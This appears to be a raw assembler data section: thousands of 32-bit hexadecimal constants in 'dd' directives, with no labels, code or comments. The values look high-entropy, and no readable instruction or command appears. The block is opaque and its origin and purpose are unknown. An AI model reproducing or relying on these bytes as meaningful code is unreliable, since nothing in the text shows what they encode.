dd 0E903EF90h, 89FD4BD2h, 7C9CE1C3h, 925D28B1h, 97555E49h
dd 0FE66948Ch, 69089FF1h, 0E4A08B3h, 0FED05C1Ah, 62EF597Ah
dd 0F0C30235h, 622FF134h, 4EE6205h, 25EC5908h, 467591D6h
dd 42765960h, 0CF48B269h, 0B4ECEEB5h, 0E5EA282Eh, 0C0C3B91Ah
dd 3E092658h, 0F1273D9h, 41444522h, 7E6E2AFh, 2B0B7FA6h
dd 981935C6h, 0BF1D3216h, 0AB60E725h, 3BB03C24h, 20FB7505h
dd 0B0C42128h, 905BF9BDh, 81B951A9h, 67B27D0Eh, 0A24F0BE9h
dd 0C0461A31h, 0F8E80107h, 0A383FDE2h, 4E6C166h, 6CFB81A4h
dd 0C60A8746h, 1E3699Ah, 0FB8C24F5h, 539291h, 95201D1Dh
dd 0EB6E897Ch, 39CE63E4h, 0DCC3CD80h, 2EF3C804h, 9A1077Fh
dd 0CB5BD921h, 4246640Eh, 0BD9C78B7h, 921848C9h, 25772413h
dd 0F5818049h, 6DBC754Fh, 16E5C124h, 0E4279E0Bh, 95AEEEB0h
dd 2E539419h, 4AD7CC90h, 984650DDh, 997A2EE6h, 51203BB8h
dd 7390F298h, 56AEF06h, 0F0C4CB2h, 6E55D04h, 7384CFE9h
dd 58AEA3D6h, 0C944EBFh, 0F5879B06h, 44CE4806h, 8C8D13Dh
dd 5BCB8F10h, 37BA2084h, 0C1FB9411h, 1107236h, 5BDC4E58h
dd 0BCFA92EAh, 75EB46B6h, 22645D4Ah, 5C121CE7h, 19AFA4FEh
dd 8A4085AAh, 0C873EB80h, 66480EEAh, 0E9750DB9h, 0BAC45877h
dd 9F32E19h, 0B6E709B0h, 59F7EDA0h, 5B76FC28h, 8835EC06h
dd 0B03E58E2h, 11D22555h, 0F524C5D9h, 0BE344110h, 0CEA9019Dh
dd 3EF58955h, 5EE30Bh, 43566BB7h, 609536h, 827F1494h, 944295Dh
dd 0D3CD015Eh, 9273A020h, 397EDDBCh, 0D238344Eh, 2CC896ACh
dd 6D12DABDh, 180120E2h, 4E2C31D2h, 1F355730h, 11B430Eh
dd 582EA6E5h, 0A724823Bh, 0DE686F1Eh, 5BED016Eh, 38455CC7h
dd 0F9925FFh, 0DF1A0C0h, 986CB57Eh, 116202DCh, 0DEF75F82h
dd 0D1B2DD82h, 0EC545002h, 49469CA2h, 3F51E10h, 36C79895h
dd 496680FCh, 1B0B690h, 3112AD77h, 0BF4559CEh, 0CB856E7Ch
dd 7FD0EA50h, 0C54E7BF0h, 5356EF70h, 1A690468h, 835B630Fh
dd 0F5E6DBEh, 0A3642912h, 318848B8h, 13C73B95h, 0F387A668h
dd 53E0CBA5h, 17F79059h, 0BE624EBh, 9DF89A92h, 0C7BF2095h
dd 0E5148027h, 0D78AB3F9h, 27E04C01h, 6E60F5AFh, 0E0E96F9Ah
dd 8110665Ch, 47D156BBh, 8414569h, 61A70C82h, 1A4137D5h
dd 0A9CF74EFh, 0EBFBAC60h, 4A346D80h, 6F15A06Ch, 0FB20D14Eh
dd 3E373DBAh, 93BE11C1h, 0EC639DCAh, 7A92E58Eh, 2C0AE74Ch
dd 33960A7Eh, 5225FCA3h, 0F15CA805h, 0F130E483h, 5AC14FC0h
dd 90BBFADCh, 84596F60h, 97292650h, 1FF4E128h, 5F074794h
dd 0E482D389h, 28DE94AEh, 354C5468h, 0A9734CE5h, 66031614h
dd 5B8938B2h, 31914BC6h, 0F63C8B42h, 3A45EB4Eh, 48095C89h
dd 81ABFB40h, 58540189h, 9240BB20h, 68551CF2h, 6AD089A0h
dd 3120675Ah, 22BA4F51h, 0D45616D2h, 18065416h, 5C55D7E3h
dd 844BDFCAh, 3167BF68h, 346A68h, 53AC64D7h, 0EA70CD81h
dd 6408332Fh, 52F50138h, 0E95BA15Fh, 380725AAh, 0D4BEA0AAh
dd 322F2C40h, 48850367h, 0E6B0496Dh, 7D257FE2h, 0C0A24314h
dd 41A46564h, 5BFAE452h, 7275AD5Fh, 0E9C298E8h, 1257BE97h
dd 0AB80C263h, 48AA59ECh, 5FFEE3CBh, 25E9E909h, 0B17939h
dd 0B45040B3h, 0F40180B7h, 0E9E33088h, 3BA60BE8h, 244249Dh
dd 0A0D6C1B1h, 8F780F57h, 30EA61F2h, 0B8416A7Fh, 3850B850h
dd 0B78758C2h, 0E0ED6598h, 1352BE81h, 5050F6F1h, 0C15A6BE9h
dd 4179693Ch, 57BC43F6h, 0F3FC27C2h, 0D0195B1Ch, 0E76C5A33h
dd 636828A2h, 0D9A1D830h, 0CAA91402h, 1AC6E90Bh, 0A4BC2651h
dd 0C0AF20C3h, 82B22F80h, 0CCACA057h, 9F3E0D70h, 0ED602B8Eh
dd 0B6DFE906h, 8E023391h, 7419963Bh, 0F089614Ah, 37492E5Eh
dd 9C8AF0DDh, 0EB294497h, 13F4AF1Bh, 47AA6EBBh, 0D43FEA16h
dd 393F869h, 959C821h, 0CAB6D2C2h, 1353E518h, 6675B45Ch
dd 12161E9Fh, 314E0E68h, 0E8505260h, 8A091F61h, 7E97583Ch
dd 48C04E79h, 75E09F35h, 0C289C313h, 4B7B54CAh, 943F34D6h
dd 0AC29AFFEh, 0E939A172h, 4C7E688Eh, 12A253F3h, 420C0AFBh
dd 379AADC2h, 0E1972455h, 7D872995h, 64D0CE74h, 5A9F840Fh
dd 28F14B33h, 55529F91h, 0E64609DEh, 173C85D1h, 0F5E24AC7h
dd 8712478h, 0C185960Fh, 5A9AB30h, 703DB082h, 99BE0332h
dd 4639CD6Fh, 0E15E5616h, 0AFF18D2Dh, 915C1535h, 0CD584BC1h
dd 4F3A63F8h, 4AF2298Ch, 7814F251h, 3958259h, 8AFED80h
dd 0BBAE25E8h, 0EEB9C7EBh, 1283F57h, 310D4059h, 0D764FA72h
dd 28C24F08h, 445609CEh, 84DED669h, 0CC48EE68h, 144FE9FFh
dd 72AD7713h, 0C8D783CEh, 0E8672700h, 0D921CB55h, 59C60768h
dd 464C81EBh, 304A5FDBh, 6509CE53h, 542949E2h, 0AED98092h
dd 0D1314BB4h, 1D9FF6C6h, 54F302D5h, 9B88BB2h, 6A612CE2h
dd 4E5901D1h, 2EEBA70h, 0F5E7CD72h, 5FF289h, 4B0DEF05h
dd 12D3900Fh, 4992E905h, 9BD95DAFh, 0C0C25045h, 619B5F63h
dd 362F3FC9h, 149D2EF1h, 0DE875007h, 7AE022Bh, 4CCC4658h
dd 313AA1C1h, 0E4A5347Dh, 0A3CFFCA2h, 7E9E0556h, 882BD332h
dd 0CD128632h, 290CD42Ch, 37E82B5Ah, 0C2AF5966h, 49072EA1h
dd 0A03D0F62h, 0E81DF58Eh, 0C8CF4EF7h, 0DF7D0166h, 30C8EF00h
dd 835B3920h, 31025FC7h, 3AF1F6AFh, 68CC4A01h, 9E3847FBh
dd 85C113C9h, 0F75FF429h, 0C604DB6Ch, 0E8A51817h, 1994602Eh
dd 71020C32h, 0D10889C7h, 0FA0BA7F9h, 8AA0ECCCh, 7A011B99h
dd 640DBB1Eh, 0D13A0C91h, 2FCB7F66h, 6814BB90h, 4A667BDFh
dd 0C1CDC03Ah, 0F70002E2h, 85CA81D2h, 90750319h, 999B0920h
dd 8704FD6Bh, 0D0F60128h, 0E740E0C0h, 0FC4134EDh, 0CA0E4F54h
dd 89382D7Ch, 0DB52336Eh, 32755E2Ah, 2E5FD21Ah, 98A74941h
dd 933A2845h, 0C250077h, 0E2815E3Fh, 0FD173905h, 0DCC4E974h
dd 52269EF2h
dd 0E3C51382h, 769D9FFDh, 7FFDB020h, 0F658989Dh, 5F00B7BFh
dd 0D5F6CDFEh, 1BC58000h, 5259EE88h, 51663BB2h, 0D93DD1BFh
dd 8005DCD8h, 81FEE8C2h, 7B12E21Bh, 22399931h, 0BB420102h
dd 0B304158h, 0BCF6791Ah, 30DB2C7Ch, 21470E6Eh, 9E0C43CCh
dd 7CAD263Ch, 1852CE05h, 0EC071C03h, 4F614D8Fh, 0F7E8E0C1h
dd 92D02D8h, 31CA85FAh, 5E96A477h, 80F41FAAh, 4A8655AFh
dd 550D801h, 222DE907h, 0CA871B40h, 2E985020h, 256D315Bh
dd 3EEFF168h, 42250A26h, 2C12CA10h, 68426082h, 0ADA655EDh
dd 0C039B516h, 0DDF6DE05h, 48A2A410h, 4B6E39E7h, 297B9889h
dd 81643EBEh, 5ABD4581h, 5384BA2Ch, 0DFF7CCBBh, 6FCF5B4Ah
dd 40627550h, 0A8B25FBAh, 68621691h, 25B25CC4h, 700BCA45h
dd 969BD9AAh, 0DCB1745Eh, 0A65D45AAh, 0F389DEC5h, 58445617h
dd 2AEDEB83h, 0DAE93661h, 7AE64B65h, 9654F07Bh, 0DC7E1CD5h
dd 814D401Ch, 8F0A33EDh, 0D53EF7FEh, 0BB1F27E9h, 0A447DA24h
dd 9C81B8E7h, 16211D43h, 22B6DF1h, 4BF168C4h, 52274A6Ch
dd 2CEEDA09h, 40AFD303h, 467F57DDh, 0C70905FFh, 7AD68056h
dd 3D01556Fh, 0D98F5EF1h, 0CAE3E981h, 0ECAAB1FAh, 1B3DE17Ch
dd 750AA5B8h, 280D01C8h, 8BE82939h, 213672Ch, 0EA03A62Dh
dd 0C7845E41h, 5F12B8F0h, 9FB2F0ECh, 4C251E76h, 5E818248h
dd 0F92A6F60h, 0E8D2BC89h, 50B85D2Ch, 0A727E902h, 0F342C826h
dd 0BB0E0BB5h, 22B8CB01h, 95BD5860h, 93E9069Fh, 0F3391D0Ah
dd 0C9098741h, 48D6DE89h, 17879991h, 881981C7h, 0B4C241E3h
dd 2D6600E1h, 685C091Dh, 0B31B0DC9h, 433AB9E0h, 0DC6030E9h
dd 0C57363Dh, 14031BBFh, 25C930EFh, 1D9DCF0Ah, 0F7F847FCh
dd 0C714DF63h, 1A285F5Eh, 6CF80871h, 1E2D120h, 1C2DF801h
dd 2E3F230Dh, 0C64C66CAh, 0D0F70601h, 0F013CD35h, 0D8040566h
dd 1209ADDh, 5EF545D0h, 5DEB0121h, 850FDB09h, 5573244Ch
dd 0B9045275h, 3EC54E6Ah, 774F2BF4h, 18257E19h, 8DB6A9E9h
dd 560157EAh, 5C463368h, 29705E21h, 9DD3B208h, 5ED9A90Bh
dd 0C82CE962h, 945E5B1Ch, 6CA56FA0h, 0DA59B2A4h, 579475EAh
dd 16D594B5h, 0E347C168h, 4E971ABh, 1B252AFh, 0EBBE7757h
dd 9ADC208Fh, 0C170B09h, 8009F029h, 5F895B08h, 214831EFh
dd 4A447FF9h, 7FF9FA6Dh, 90CCC4Ah, 10E5C849h, 56C9262Eh
dd 45FAFAFEh, 1896A4B5h, 5FF8455Bh, 56ED429Fh, 0DE0BE995h
dd 0BD744389h, 52A6F281h, 706567F9h, 0E7B4913Ah, 146E23B7h
dd 27B8DC88h, 0C2676834h, 11121733h, 6380B19h, 69F43683h
dd 3A637DB2h, 0B7390485h, 885801D4h, 0D0E5870Ch, 779B538h
dd 0E3C0CBFEh, 80C35003h, 427CCF3h, 2E7BF082h, 6906FCA9h
dd 0FADFA90h, 86824A81h, 0B99CB7CFh, 6804B0FEh, 74E865AEh
dd 0B1D8E892h, 8A38215Dh, 40FAE982h, 0B945AF4h, 0D4100BEh
dd 77380A9Dh, 919248h, 7B0807E2h, 59800540h, 500CB109h
dd 95A36C5Bh, 3D085C4Dh, 0F834034Eh, 0ECF9F02Ch, 2E426202h
dd 0D51E45B2h, 0C5285A05h, 4125E6F9h, 95B72A58h, 9FBE3033h
dd 4803051Ch, 0AD107735h, 0F391BF33h, 0DE308457h, 85132E03h
dd 0C3E50149h, 6C68961Dh, 0FD7B09BBh, 2795FE19h, 81A13FE1h
dd 1240BB7Bh, 7A3C2187h, 0CE90049Fh, 18D5ACECh, 0F85EF329h
dd 98747A45h, 5C7D020Ah, 0CD317294h, 2C504962h, 0A8B2594Fh
dd 68F79892h, 0E1D1C34Eh, 0AB2C2FE2h, 0A4E5A8B4h, 0FD05C1CCh
dd 28308C6Ah, 315CB192h, 58A660A6h, 0C1513B6Dh, 947E1252h
dd 0C2CDD809h, 5FB6283Eh, 4FDB7020h, 0E99F13D8h, 68558189h
dd 449D3EBBh, 0DCA530h, 8177E453h, 5B1ED8F6h, 70DF1348h
dd 9B40B316h, 743B00E1h, 0CBB1C780h, 8F49836Eh, 1BA130D3h
dd 1F66F9F2h, 1D427557h, 2548673Ah, 0FB049550h, 5AD001C8h
dd 0C0CE1DA1h, 4D0968E6h, 0CD80743Eh, 0E9217376h, 0E6A82F2Dh
dd 0A65C4BF6h, 20C99F3h, 0F24F653Eh, 0E95381DEh, 0FB68CF0Dh
dd 1FD968E0h, 8B39B21Eh, 8549892Eh, 0AA41E3D2h, 32227938h
dd 0A13C9078h, 0E135A316h, 3ED3005Fh, 6C5FD81Ch, 0CC3CB4C3h
dd 0E6C15A01h, 96B44003h, 9F0B530Ch, 585EF231h, 0D1215AF3h
dd 2A79E9CBh, 0A2EAD743h, 0DA789330h, 9FF0F858h, 2720FC66h
dd 31D6982Ah, 3A175F86h, 105B3D30h, 7350B9CBh, 0B46D1290h
dd 0A6020112h, 835F785Bh, 841C5890h, 8A22D25h, 7F336BA0h
dd 789E50FCh, 65217E00h, 6705E0C1h, 53020840h, 7DCA0E52h
dd 914CE7ACh, 3092F00Ah, 5702ED21h, 0E9B039E9h, 77EC533h
dd 745058F9h, 0E756EFF8h, 0B246E08h, 4545C501h, 1011FB27h
dd 30C745F5h, 3E5FC7DAh, 75688A20h, 9D84A921h, 6EB78F51h
dd 95BFDC0h, 6659E830h, 0B447BC85h, 6417B51Bh, 39A0CCE9h
dd 0D6EFC05h, 0D82913ADh, 0E908007Ch, 0EBB5370Fh, 6A4B9BBh
dd 5F24902Bh, 1B4E8C2Eh, 1EF7D1A4h, 654A1056h, 4E7BB078h
dd 3D3EE50h, 5B977591h, 4BD742Ch, 0FD4CA599h, 58218331h
dd 0C2013307h, 5641BF57h, 403B2D6Dh, 62488823h, 352CE99Ah
dd 9458A12Ch, 1C29256h, 0B15159B6h, 3CCE3063h, 0EB80A09Ah
dd 0EAF3E0D0h, 74E9EAC3h, 81C49D7Ah, 9E275579h, 588FD158h
dd 0DA5ADEE9h, 153079D0h, 9510501Fh, 1619E8A7h, 42DBE97Eh
dd 7E5C1F9h, 504B9E40h, 7015BD2Dh, 96BF0454h, 0C5B60622h
dd 1280B920h, 48ED70E9h, 605D1F11h, 0BE6656CCh, 620E7D86h
dd 0B3E95D4Ah, 0D10EF5D4h, 92C6EAE1h, 68507FA6h, 3375626Ch
dd 6B96220Ah, 0D961984h, 685BDAC0h, 8C765CCCh, 0D4A3E3D2h
dd 0AEE91280h, 5B66D841h, 0D8E5352Ch, 71EFB754h, 893ED24Bh
dd 6823C89Bh, 0B9B5DE99h, 0D1FE9737h, 49F39C2h, 59AB5EBFh
dd 32681330h, 0F05B258Fh, 0A10702FBh, 3ED6E96Dh, 0D9433B7Fh
dd 796DBBF8h, 7F9B40D7h, 13BB229h, 0D7346EF1h, 90580C09h
dd 9F384267h, 0B62A34C6h, 0F2F5CC3h, 1BA425C8h, 2873FEB1h
dd 0AABE9C2h, 9060B09Ah, 0C73F1A36h, 0F7DF2E12h, 0B5F622ADh
dd 8359049Eh, 67F864E2h, 55FA4E73h, 48905C4Ah, 2DDF1097h
dd 2B895D37h, 7F0285DEh, 42FE4107h, 96915544h, 2271DA09h
dd 0BA26FC49h, 0AC873E00h, 59C83138h, 3AB9B0BFh, 0C15C80EBh
dd 240EE831h, 36D16850h, 0C9EFEE51h, 4954647Ah, 0C4DB5B99h
dd 464408h, 0F07D68BFh, 0DF48F727h, 53D61DADh, 42080113h
dd 7C070305h, 90FF2ABBh, 2C770295h, 470BE92Eh, 0EC8EE8C9h
dd 9FD482FDh, 81A5A408h, 8227D9C6h, 29C26A25h, 580885EEh
dd 3D12D265h, 21CC0E54h, 2596BE0Ch, 82BC96A0h, 669DE72Dh
dd 5B019869h, 0C446B2C0h, 39FF144Fh, 0D95C0190h, 5CDC2A47h
dd 676795BBh, 0B2953417h, 44853491h, 0A05F06C8h, 2E6B81C6h
dd 274C4F58h, 9A5DDC5h, 0AA460155h, 0C320557Eh, 31AE409Dh
dd 0E849D294h, 0CB108852h, 80E2E5C7h, 7360CDDh, 1C03F83h
dd 95FB6E19h, 7E45040Ch, 5740C2C0h, 87A27EBFh, 64F1FAF7h
dd 84D877D6h, 122CFEE6h, 70553880h, 410FED0h, 0E954B550h
dd 2A31A1D7h, 2E12678Ah, 22D46145h, 1BCD2F0Ch, 97523760h
dd 8F111665h, 0A6E91562h, 5B6565DCh, 6F29A161h, 48525DE8h
dd 3D4F8668h, 35B20C4h, 3A29CB41h, 85774B79h, 0C2B8B184h
dd 16817889h, 2F87FE29h, 0EC172640h, 1F01EAD6h, 2D19E9FDh
dd 0BA88D959h, 292D0249h, 1F60FB59h, 6082027Ch, 26351157h
dd 9D37B75h, 0F4F45A87h
dd 5EA86962h, 35715105h, 0ECC8044Ch, 2F8D5B8Bh, 6ED28D2Ah
dd 37FBD384h, 9988312h, 0E388F714h, 29AD93B8h, 0E4605027h
dd 3139D5F7h, 8FD36EFh, 95470BE8h, 0EBC057B6h, 7698C301h
dd 0E46A80Fh, 0E9F30223h, 9F85F0FCh, 0E9855867h, 27BFD2B1h
dd 91AC847Bh, 38C8B36Ah, 245C12A5h, 9D810664h, 292F1CA7h
dd 0AC1D7F2Ah, 0C24B2EA8h, 0D3EF0D4Bh, 1855A91Dh, 542D1902h
dd 75EA213Ch, 9D0B0801h, 5F8014Fh, 0CEC40744h, 0D35C9646h
dd 20F5903Eh, 2DF59BC0h, 1990E407h, 0CB45051h, 3107E9B1h
dd 0EEAC32Bh, 0CA5A8027h, 0C080CE2h, 663C0B05h, 0DD715919h
dd 0FD6088A8h, 5D33EDDDh, 5A501585h, 40516957h, 57288431h
dd 2853E9B0h, 301B81D3h, 15E6D903h, 0EC5916A5h, 4ACE895h
dd 15F2086Eh, 12C7F1C8h, 183C0E74h, 37D52089h, 0BD1C6900h
dd 7354D688h, 5FFD1329h, 0F8958031h, 1B4AE4E9h, 4254C3B3h
dd 81EB623Fh, 18459B19h, 92B3D125h, 0C1B7EC5Ch, 9F68F9F7h
dd 0B00D352Bh, 9A4FF550h, 3E174CC8h, 2FFCE452h, 3B291F8Bh
dd 80DF6A91h, 74B42D2Dh, 602962C2h, 254DD2C8h, 0ECC10C75h
dd 51065C95h, 0E703B229h, 74CA14F0h, 46BD90FFh, 85B06C83h
dd 0DB1B7E0Ch, 14B5362Eh, 0F8B2E2B8h, 59513F20h, 362449B3h
dd 76552E62h, 6B5EA10Eh, 20396346h, 8090506h, 744C7FE9h
dd 0CC48A78h, 0C3BA837Bh, 1E1DA4Eh, 0B7E53CD1h, 0A3ADD3h
dd 0BB5346E8h, 447C796Ah, 5B5B7F8h, 36A85DD8h, 0B91D74B3h
dd 0C3D5F101h, 4F444CB6h, 5C535B22h, 71512F86h, 0C93B5669h
dd 3D200F4Ch, 0E62D0546h, 0F1152B4Fh, 590707DCh, 305B9291h
dd 10283964h, 0ED05BF6Ch, 5E406E2Dh, 742741ABh, 701B3A4Dh
dd 2F1784A1h, 0AB0C4944h, 16AD2E03h, 0A014A851h, 0C741B21Bh
dd 41A4A230h, 0CD4020C0h, 0DB4052B0h, 6E5C01B9h, 0F1810A72h
dd 1918D447h, 1709E9ECh, 9136A1Ch, 0D3FADED7h, 44AF34B4h
dd 16D4DE1Eh, 90662868h, 7194BF69h, 0E5C9049Fh, 73CBAC0Eh
dd 0EC799729h, 0E9C20DB4h, 44A9D13Eh, 0E8EEC89h, 4FC18851h
dd 0AF1046CEh, 60B90615h, 0E05AAB14h, 0A12DCF0Ch, 1372F835h
dd 0A42A6BE1h, 0E380DAD9h, 0F623007h, 926B910Ch, 0E65B2E2Dh
dd 820DD236h, 9F5E873Ah, 5A64E551h, 76681353h, 0A6E63478h
dd 0EC5C2C6Dh, 3B8E888h, 0EF34B3B0h, 0D8F64CD8h, 2CC0FE03h
dd 1C5887Bh, 2099B660h, 2F79E9F5h, 0ADB53C00h, 3A28512Ch
dd 593904E8h, 83108B5h, 29094EA3h, 0DCE409C7h, 4B1C4246h
dd 0B2E952FEh, 0E66E4A2Fh, 0B0F3BE63h, 0C201B212h, 0AF5D1628h
dd 0B4760782h, 5B3EDE2Ch, 680942E3h, 77541442h, 56069A60h
dd 44350431h, 0C83D2C05h, 209E008h, 0E216E940h, 270877D4h
dd 1E23029Bh, 14C10E8Eh, 5B590801h, 0CCF3C90Ch, 0D26DF7D6h
dd 95291308h, 34306D41h, 738D09F1h, 36F62783h, 0DD11E058h
dd 0F49D932Bh, 95A0CD97h, 0F2573F3h, 2841B311h, 9523029Eh
dd 0A1ED6400h, 1448273Fh, 5B312007h, 0DA5DD85Fh, 20F94CB7h
dd 555B5184h, 5409742Bh, 0C0ABE9h, 25B50A8Bh, 85F1CEFBh
dd 4B58B168h, 0EC28BFE4h, 334EE9h, 3256B879h, 0D2F576DEh
dd 0D196B0D0h, 0DA4268A6h, 0AD1A752Bh, 0E950FD54h, 0F2E44E8Ch
dd 4FB859C6h, 0E9152C9Ah, 0A15ABBAAh, 83B323DCh, 0F29E7E9h
dd 951E2CDh, 70150B76h, 1B9D93F8h, 0F70D13EAh, 5B5245D7h
dd 8336C2C1h, 6B681E41h, 0BD108824h, 0CF0B7FD8h, 5E7D810h
dd 0D2202053h, 121831F8h, 0D0E511E9h, 0B0768A2h, 0F34A0896h
dd 5014CD02h, 92AE4067h, 658A949Ch, 13FBC53h, 224548Ah
dd 8815C88h, 0D2F65B66h, 0AFDD5186h, 50F72D4h, 0FF828CDh
dd 0D48F7887h, 7A1C6008h, 544FE240h, 0B450AF5Ah, 475FA19h
dd 15E1E237h, 506FBE1Dh, 0C23BD38h, 0E99A1BABh, 4FA15A28h
dd 0ADBD5359h, 8068018Dh, 5F550F78h, 0BDC60370h, 7C4C7592h
dd 0E9DF2909h, 525F7C71h, 31180340h, 6368C80Bh, 0CAD53066h
dd 2F588149h, 205BD402h, 10E57AD0h, 3B1991E9h, 1D671757h
dd 91D34AACh, 269659E0h, 37317969h, 2C587A7h, 6604B127h
dd 0FE364468h, 58B3BA47h, 8D2587D9h, 966ED807h, 0E07AA4ECh
dd 0EBC583E8h, 77CDAE22h, 373A13A0h, 34ED75F7h, 30058DA0h
dd 5582BE2h, 0C4A00613h, 0A801005Ah, 0C1D5F742h, 514808E5h
dd 0E09920A7h, 0C28012FAh, 1CD9F33Fh, 0D01D882Ch, 6FF24F7Ah
dd 0F16CFDD3h, 1D042F83h, 16A1C9BCh, 0BFBA99Bh, 0FDEBA59Dh
dd 12136BCCh, 0B614CE2Dh, 0CDA469AAh, 0D4B832E6h, 0DFBE13E1h
dd 2D922BA8h, 0D4643F27h, 5F2501B8h, 9CDFF8C2h, 8401F7FDh
dd 2B982E38h, 40E74FAEh, 0BDF79DBDh, 0F02C2934h, 902645Eh
dd 4053784Ch, 30587E7Bh, 610C2CFFh, 42093F4Dh, 0CBCFBCE9h
dd 8253139Ch, 7886B2E8h, 0B0FEC32Eh, 0CC379983h, 0B40AD10Bh
dd 968D443Fh, 0CF14BC9Bh, 9429D3D2h, 0C6DD983Bh, 0D2024CE0h
dd 0E9EE0111h, 0BBDDC818h, 5A7C1E8Ch, 60266Ah, 20BA58A6h
dd 0FCC8D801h, 0E7C1062Eh, 18FEDE04h, 0B578020h, 9A6CCB75h
dd 9AA0A81h, 0CF82701Eh, 880CBB8h, 0B6090559h, 787AB842h
dd 0FF078120h, 0F25AAD63h, 726500FCh, 0CA813D7Ch, 315F24D2h
dd 533409B0h, 0C97D272Fh, 0F4F9BD0Dh, 0D173424Bh, 460D096Bh
dd 659F3F94h, 70DE267Dh, 60C0F2DBh, 0AC4E76BFh, 0B6A2F479h
dd 0A8F61703h, 26053D90h, 6882044Dh, 8218164Fh, 0BD25DEEh
dd 3A8026E2h, 7E791A6Ch, 665BC09Fh, 0E91B135Dh, 0C729A485h
dd 0CC3C3916h, 9DB21004h, 0E9D230ECh, 985A7CBDh, 944FE7E2h
dd 0E8980097h, 0B84BDB07h, 310BEC61h, 95305AD0h, 0B05914C2h
dd 0F23FEC1Dh, 9FF6AA8h, 0D8ECE9DAh, 965CFAC8h, 89AE8C0Dh
dd 2D38FCF8h, 80CC6F4Ch, 284CC96Ch, 9BA37709h, 9C5E8ABAh
dd 0C3CAFE42h, 54EAF041h, 0A6B4B430h, 4AE22FEh, 124DECB9h
dd 8A00EB1Fh, 831C02F1h, 0BAE92D0Ah, 0D299CE63h, 50EF055h
dd 0FB528016h, 5F041EB8h, 822EBAF0h, 0F665C503h, 607E78Ch
dd 13D5B006h, 0BDBAC2E9h, 1BB20458h, 68D4D128h, 20BD49A8h
dd 842F2D9h, 0C027486Eh, 0D680A7E2h, 7BF0C61h, 0C205D170h
dd 0E9D32780h, 958EB20Ch, 473B0F53h, 9218F24Fh, 0BA74FAB9h
dd 0FB50581Ah, 5EAA0D85h, 0DB750B29h, 708AEF10h, 5D122D1Fh
dd 74B96A09h, 0D6BABBB4h, 29439A04h, 4B5487F9h, 7641ABB1h
dd 0D28B483Ch, 49E9E1E0h, 0C74BB76Ch, 0A0B785D9h, 6EE768F4h
dd 2A30E68Dh, 922A58E4h, 0C84821D2h, 44AB0592h, 12A174F0h
dd 4BE2DFC0h, 35610054h, 2FA622D5h, 878E0C1h, 8F262801h
dd 58C589BFh, 0E5DA007Bh, 7A6425Dh, 0DA09F5ECh, 8E14FA60h
dd 0EFFE22DBh, 5BBF78EBh, 80E1D85Fh, 4F95B152h, 0C614F8F5h
dd 58882BBAh, 2C11669h, 9A6704D8h, 0B0B9023Dh, 5306A729h
dd 1693B086h, 2DDB5252h, 0F817A92h, 4A3503E0h, 0D42385E7h
dd 510D7F7h, 4012FFEBh, 0A9A21BFCh, 5B0B82D4h, 68DD815Fh
dd 643C7E27h, 0D1002BDAh, 5A0288CAh, 9646E919h, 56E15487h
dd 15D868D1h, 985E7808h, 0F723EA8h, 1EC15B12h, 4F24F65h
dd 525E1F43h, 468D01BDh, 0E710213Eh, 78BF6FAh, 0F21F3273h
dd 720347EEh, 283EA15Ah, 7B06762Ah, 0D1411AEAh, 17C22A1Ah
dd 0AE5E0805h, 0AB922h, 7463C8B9h, 39BE0C00h, 1F38B9Ch
dd 2E919CEh, 7F29CCC4h, 4E9EAD40h, 128734A8h, 8047E9EFh
dd 80B0B3D7h, 0D84CC32Fh
dd 0E11E90CAh, 25C5D1C3h, 0CB82EDF4h, 50854920h, 0C372BFC6h
dd 0B607501Bh, 50D449EAh, 45C44B53h, 0E1F8E9E0h, 0E4932B55h
dd 0AD8B3F22h, 0E9F4CE12h, 0C3E73092h, 1E07EDC0h, 0CCFACD80h
dd 0BE541838h, 0D3277A0Bh, 0A0AA0E05h, 0F7282E12h, 4004D6D9h
dd 0E05DFD1Dh, 1C4810E9h, 2D028026h, 4A262B0Bh, 0FBAE8069h
dd 0E93E220Eh, 9D55C120h, 7383894Eh, 0E65FCFECh, 3E5C48F5h
dd 0E93389E3h, 59AAA694h, 906813D3h, 650F603Eh, 78B01A07h
dd 0F1017625h, 42FBA569h, 0C81F0BC9h, 0D3BC5D4Ch, 7B73F166h
dd 94D6BC8Ch, 3368054Ah, 13C5E05h, 6281756h, 4C276C5Fh
dd 3EFB0477h, 0A4843F3Ah, 7AFC3DE5h, 68381203h, 1D73C429h
dd 0AD914B08h, 0BBF94AFh, 7B1093C4h, 793B7480h, 5C33BE6h
dd 125326Ch, 86510AEh, 0E9525F06h, 0B31FD390h, 0BFFCD01Dh
dd 0FAF35B4Fh, 9C790C93h, 890BEB65h, 5361F07Ah, 0CE9B095Dh
dd 173EA065h, 9ED7F171h, 54DE7072h, 6CC56084h, 2DB3503Dh
dd 252D5F16h, 0C6E1B020h, 8F29E92Dh, 4554A295h, 64FB5443h
dd 0B52E92EEh, 0C05C9E61h, 109D2CE8h, 9E78E9E1h, 0DC8439A1h
dd 0FE4A5014h, 162CBE04h, 0EE020214h, 24F0666h, 6DA04A43h
dd 217C19CAh, 0F5D4Ch, 272C6301h, 3D5EF389h, 0FF2E3D1h
dd 2E5657FAh, 0E810EB0Ch, 3ABA431Fh, 2A9FF380h, 2D0BDCh
dd 59C65CB0h, 4F69FD05h, 0D829411Fh, 0E9250728h, 4CD98B4Ch
dd 3BFBA1E5h, 0FC750693h, 0BA6275Dh, 0E5DF5E15h, 0C5FDE25Dh
dd 41EBCABCh, 0BF754C16h, 64A2306Fh, 79E33112h, 89DC13h
dd 0FAAE2F41h, 1A45FF05h, 23B82C42h, 0BD5609C0h, 0F07F016Bh
dd 3913F45Ah, 0D202238Dh, 6111C25Ah, 5B00B6E8h, 0AE5EB551h
dd 382173B1h, 0B0666B70h, 417D243Dh, 569FC0D6h, 0CCC0771Ah
dd 94B1E0FAh, 0C0D95EE9h, 6E055FBBh, 39B0461Eh, 5A90BDD3h
dd 3B7326F5h, 0CD027E02h, 6787553h, 7A072CDCh, 0F197FFFh
dd 95EC3326h, 0E1691A9Eh, 3D385CC0h, 0D68079BCh, 817A8011h
dd 131209E2h, 0C00664Fh, 3B34DB2h, 0C5EA0125h, 32328D2h
dd 1CAE07C1h, 0C6F2D601h, 9E5A0887h, 21712F2h, 6350319Ch
dd 0DC6A2C41h, 8BB77D6Bh, 9FF096Fh, 0E76D8215h, 0C696198h
dd 0E8D916A5h, 8DE1CB03h, 0EC90059Ah, 0F235EE14h, 0B9660BE8h
dd 62A45602h, 90D50C53h, 0D2321697h, 592C16CCh, 38450CA9h
dd 0F868173Ch, 1E89AC5Eh, 9A82AD1Ah, 804C9D20h, 72586FBDh
